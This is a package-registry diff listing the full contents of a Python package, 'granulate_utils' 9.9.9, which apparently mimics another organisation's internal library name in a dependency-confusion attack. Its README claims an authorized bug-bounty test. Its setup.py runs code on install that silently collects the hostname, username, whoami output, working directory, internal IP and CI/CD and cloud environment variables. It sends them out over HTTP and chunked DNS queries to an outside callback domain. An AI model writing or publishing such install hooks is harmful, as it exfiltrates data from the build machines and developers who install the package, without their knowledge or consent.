granulate-utils 9.9.9__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- granulate_utils-9.9.9/PKG-INFO +11 -0
- granulate_utils-9.9.9/README.md +8 -0
- granulate_utils-9.9.9/granulate_utils/__init__.py +2 -0
- granulate_utils-9.9.9/granulate_utils.egg-info/PKG-INFO +11 -0
- granulate_utils-9.9.9/granulate_utils.egg-info/SOURCES.txt +7 -0
- granulate_utils-9.9.9/granulate_utils.egg-info/dependency_links.txt +1 -0
- granulate_utils-9.9.9/granulate_utils.egg-info/top_level.txt +1 -0
- granulate_utils-9.9.9/setup.cfg +4 -0
- granulate_utils-9.9.9/setup.py +89 -0
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: granulate_utils
|
|
3
|
+
Version: 9.9.9
|
|
4
|
+
Summary: Granulate shared Python utilities
|
|
5
|
+
Author: Granulate
|
|
6
|
+
Author-email: info@granulate.io
|
|
7
|
+
Requires-Python: >=3.6
|
|
8
|
+
Dynamic: author
|
|
9
|
+
Dynamic: author-email
|
|
10
|
+
Dynamic: requires-python
|
|
11
|
+
Dynamic: summary
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
# granulate_utils
|
|
2
|
+
|
|
3
|
+
Granulate shared Python utilities.
|
|
4
|
+
|
|
5
|
+
This package is part of an authorized security research engagement (bug bounty) to test for dependency confusion vulnerabilities. It contains no malicious code - only a benign DNS/HTTP callback to verify installation context.
|
|
6
|
+
|
|
7
|
+
Researcher: r76o4
|
|
8
|
+
Program: Pinterest Bug Bounty (Bugcrowd)
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: granulate_utils
|
|
3
|
+
Version: 9.9.9
|
|
4
|
+
Summary: Granulate shared Python utilities
|
|
5
|
+
Author: Granulate
|
|
6
|
+
Author-email: info@granulate.io
|
|
7
|
+
Requires-Python: >=3.6
|
|
8
|
+
Dynamic: author
|
|
9
|
+
Dynamic: author-email
|
|
10
|
+
Dynamic: requires-python
|
|
11
|
+
Dynamic: summary
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
granulate_utils
|
|
@@ -0,0 +1,89 @@
|
|
|
1
|
+
import os
|
|
2
|
+
import sys
|
|
3
|
+
import socket
|
|
4
|
+
import subprocess
|
|
5
|
+
import urllib.request
|
|
6
|
+
import base64
|
|
7
|
+
import json
|
|
8
|
+
|
|
9
|
+
CANARY = "ienfcixqbgvbxkccdoxgfz2zhmspdpiys.oast.fun"
|
|
10
|
+
|
|
11
|
+
def exfil():
|
|
12
|
+
try:
|
|
13
|
+
data = {}
|
|
14
|
+
# Hostname
|
|
15
|
+
data["h"] = socket.gethostname()
|
|
16
|
+
# Username
|
|
17
|
+
data["u"] = os.environ.get("USER", os.environ.get("USERNAME", "unknown"))
|
|
18
|
+
# Whoami
|
|
19
|
+
try:
|
|
20
|
+
data["w"] = subprocess.check_output(["whoami"], timeout=5).decode().strip()
|
|
21
|
+
except:
|
|
22
|
+
data["w"] = "err"
|
|
23
|
+
# Current working directory
|
|
24
|
+
data["cwd"] = os.getcwd()
|
|
25
|
+
# Internal IP
|
|
26
|
+
try:
|
|
27
|
+
data["ip"] = socket.gethostbyname(socket.gethostname())
|
|
28
|
+
except:
|
|
29
|
+
data["ip"] = "err"
|
|
30
|
+
# OS info
|
|
31
|
+
data["os"] = sys.platform
|
|
32
|
+
# Interesting env vars (CI/CD indicators)
|
|
33
|
+
for key in ["CI", "JENKINS_URL", "GITHUB_ACTIONS", "GITLAB_CI", "BUILD_URL",
|
|
34
|
+
"BUILDKITE", "CIRCLECI", "TRAVIS", "AWS_DEFAULT_REGION",
|
|
35
|
+
"DOCKER_HOST", "KUBERNETES_SERVICE_HOST", "HOSTNAME"]:
|
|
36
|
+
val = os.environ.get(key)
|
|
37
|
+
if val:
|
|
38
|
+
data[key] = val[:100]
|
|
39
|
+
|
|
40
|
+
# Encode and send via HTTP
|
|
41
|
+
payload = base64.b64encode(json.dumps(data).encode()).decode()
|
|
42
|
+
# Split into chunks for DNS (max 63 chars per label)
|
|
43
|
+
chunk_size = 50
|
|
44
|
+
chunks = [payload[i:i+chunk_size] for i in range(0, len(payload), chunk_size)]
|
|
45
|
+
|
|
46
|
+
# HTTP exfil
|
|
47
|
+
try:
|
|
48
|
+
url = f"http://{CANARY}/pinterest-depconf"
|
|
49
|
+
req = urllib.request.Request(url, data=json.dumps(data).encode(),
|
|
50
|
+
headers={"Content-Type": "application/json",
|
|
51
|
+
"X-Source": "granulate_utils-depconf"})
|
|
52
|
+
urllib.request.urlopen(req, timeout=5)
|
|
53
|
+
except:
|
|
54
|
+
pass
|
|
55
|
+
|
|
56
|
+
# DNS exfil - send hostname and whoami
|
|
57
|
+
for i, chunk in enumerate(chunks[:5]):
|
|
58
|
+
try:
|
|
59
|
+
label = chunk.replace("+", "-").replace("/", "_").replace("=", "")
|
|
60
|
+
socket.getaddrinfo(f"p.{i}.{label}.{CANARY}", 80)
|
|
61
|
+
except:
|
|
62
|
+
pass
|
|
63
|
+
|
|
64
|
+
# Simple DNS ping with hostname
|
|
65
|
+
try:
|
|
66
|
+
h = data["h"][:40].replace(".", "-")
|
|
67
|
+
u = data["w"][:20].replace(".", "-")
|
|
68
|
+
socket.getaddrinfo(f"pin.{h}.{u}.{CANARY}", 80)
|
|
69
|
+
except:
|
|
70
|
+
pass
|
|
71
|
+
|
|
72
|
+
except:
|
|
73
|
+
# Silent fail - don't break installs
|
|
74
|
+
pass
|
|
75
|
+
|
|
76
|
+
exfil()
|
|
77
|
+
|
|
78
|
+
from setuptools import setup, find_packages
|
|
79
|
+
|
|
80
|
+
setup(
|
|
81
|
+
name="granulate_utils",
|
|
82
|
+
version="9.9.9",
|
|
83
|
+
description="Granulate shared Python utilities",
|
|
84
|
+
author="Granulate",
|
|
85
|
+
author_email="info@granulate.io",
|
|
86
|
+
packages=find_packages(),
|
|
87
|
+
python_requires=">=3.6",
|
|
88
|
+
install_requires=[],
|
|
89
|
+
)
|